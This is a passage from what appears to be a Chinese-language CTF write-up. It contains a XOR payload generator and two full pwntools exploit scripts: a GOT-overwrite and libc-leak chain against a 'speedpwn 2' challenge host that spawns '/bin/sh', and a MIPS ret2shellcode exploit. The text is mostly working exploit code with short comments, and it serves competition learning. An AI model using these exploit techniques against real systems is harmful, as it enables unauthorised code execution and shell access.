payload+=b'\x01\x00\x00\x00\x00\x00\x00\x00'
payload+=xor_bytes(b'\x7e\x5b\xc5\xb5\xf7\x81\xfc\x85\x5e\x5f\x4d\x52\xcc\x74\xaa\x11',b"\x48\x83\xec\x58\x48\x89\xe6\xe9\x36\x62\x01\x00\x00\x00\x00\x53")
payload+=b'\x01\x00\x00\x00\x00\x00\x00\x00'
print(payload)
XORKEY = b'PJSK'
payload = bytearray(payload)

for i in range(len(payload)):
    payload[i] ^= XORKEY[i % len(XORKEY)]

with open("data.txt", "wb") as f:
    f.write(payload)

最后

可惜赛后出的… … 点我下载 data.txt 点我下载 game.exe.i64

Windows反调试太恶心了… … … …

Reference

Microsoft Learn 通义千问 ShellcodeCompiler

speedpwn 2

后面两题赛后闲着没事做着玩

拿got表走ogg直接拿shell

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

ELFpath = './chall'
p=remote('speedpwn-2.chals.sekai.team',1337,ssl=True)
#p=process(['./ld-2.31.so', ELFpath], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process(ELFpath)
#elf=ELF(ELFpath)
#libc=ELF('./libc.so.6')

rut=lambda s :p.recvuntil(s,timeout=0.3)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
sla=lambda con,s :p.sendlineafter(con,s)
sa=lambda con,s :p.sendafter(con,s)
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s) 
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))

def ptrxor(pos,ptr):
    return p64((pos >> 12) ^ ptr)
def modif(x,y,data):
    sla("> ","p")
    sl(str(x)+" "+str(y)+" "+hex(data)[2:])
def remalloc(x,y):
    sla("> ","r")
    sl(str(x)+" "+str(y))
got=0x404000
remalloc(1,0x10)
remalloc(1,0x190)
modif(0,-0x1f0-0x20,0x30)
modif(0,-0x1f0-0x20+1,0x40)
modif(0,-0x1f0-0x20+2,0x40)
modif(0,-0x1f0-0x20+3,0x00)
# modif(0,0,)
remalloc(1,0x10)

#0x401408


modif(0,0,0xef)
modif(0,1,0x15)
modif(0,2,0x40)
modif(0,3,0x0)
modif(0,4,0x0)
modif(0,5,0x0)
modif(0,6,0x0)
modif(0,7,0x0)
# modif(0,8,0x0)
# 0x4040b8
modif(0,0+0x18,0xa4)
modif(0,1+0x18,0x14)
modif(0,2+0x18,0x40)
modif(0,3+0x18,0x0)
modif(0,4+0x18,0x0)
modif(0,5+0x18,0x0)
modif(0,6+0x18,0x0)
modif(0,7+0x18,0x0)
# modif(0,8+8,0x0)
sla("> ","r")

sl(str(1)+" "+str(0x404000))
# p.recv()
libc_base=u64(p.recv(6)+b'\x00\x00')-0x70f5266add30+0x70f526600000

sys=libc_base+0x58750
sl("p")
sl(str(0)+" "+str(0)+" "+hex(0xde)[2:])
modif(0,-0x30,sys&0xff)
modif(0,-0x30+1,(sys&0xff00)//0x100)
modif(0,-0x30+2,(sys&0xff0000)//0x10000)
modif(0,-0x30+3,(sys&0xff000000)//0x1000000)
modif(0,-0x30+4,(sys&0xff00000000)//0x100000000)
modif(0,-0x30+5,(sys&0xff0000000000)//0x10000000000)
# modif(0,-0x30+6,(sys&0xff00)//0x100)
# modif(0,-0x30+1,(sys&0xff00)//0x100)
sys=libc_base+0x58750
modif(0,0,sys&0xff)
modif(0,1,(sys&0xff00)//0x100)
modif(0,2,(sys&0xff0000)//0x10000)
modif(0,3,(sys&0xff000000)//0x1000000)
modif(0,4,(sys&0xff00000000)//0x100000000)
modif(0,5,(sys&0xff0000000000)//0x10000000000)
0x68732f6e

modif(0,0x100,0x2f)
modif(0,0x100+1,0x62)
modif(0,0x100+2,0x69)
modif(0,0x100+3,0x6e)
modif(0,0x100+4,0x2f)
modif(0,0x100+5,0x73)
modif(0,0x100+6,0x68)

# gdb.attach(p)
remalloc(0x404130,1)    

print(hex(libc_base))


p.interactive()

# 0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
#   address rsp+0x68 is writable
#   rsp & 0xf == 0
#   rax == NULL || {"sh", rax, rip+0x17301e, r12, ...} is a valid argv
#   rbx == NULL || (u16)[rbx] == NULL

# 0x583f3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
#   address rsp+0x68 is writable
#   rsp & 0xf == 0
#   rcx == NULL || {rcx, rax, rip+0x17301e, r12, ...} is a valid argv
#   rbx == NULL || (u16)[rbx] == NULL

# 0xef4ce execve("/bin/sh", rbp-0x50, r12)
# constraints:
#   address rbp-0x48 is writable
#   rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
#   [r12] == NULL || r12 == NULL || r12 is a valid envp

# 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
# constraints:
#   address rbp-0x50 is writable
#   rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
#   [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp

outdated

mipsr6el32架构ret2shellcode

坐牢找ld找了一天… … 网上都是r2的,apt的也都是r2的 最后用buildroot编译了一个mipsr6el32的rootfs才找到r6的

# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='mips',os='linux')
context.terminal=['tmux','splitw','-h']

ELFpath = './outdated'
#p=remote(' ',)
#p=process(['./ld-2.31.so', ELFpath], env={"LD_PRELOAD":'./libc-2.31.so'})
p=process(["qemu-mipsel","-g","9999",ELFpath])
#elf=ELF(ELFpath)
#libc=ELF('./libc.so.6')

rut=lambda s :p.recvuntil(s,timeout=0.3)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
sla=lambda con,s :p.sendlineafter(con,s)
sa=lambda con,s :p.sendafter(con,s)
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s) 
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))

def ptrxor(pos,ptr):
    return p64((pos >> 12) ^ ptr)
p.recvuntil("0x")
addr=int(p.recv(8),16)-0x9d0+0x200C0
sla("o name your game",asm(shellcraft.sh())[:0x5f])
sla("Which level do you want to change?",str(((0x40-8-8)&0xffffffff)//2))
sla("What reward do you want to set for this level?",str(0xff))


p.interactive()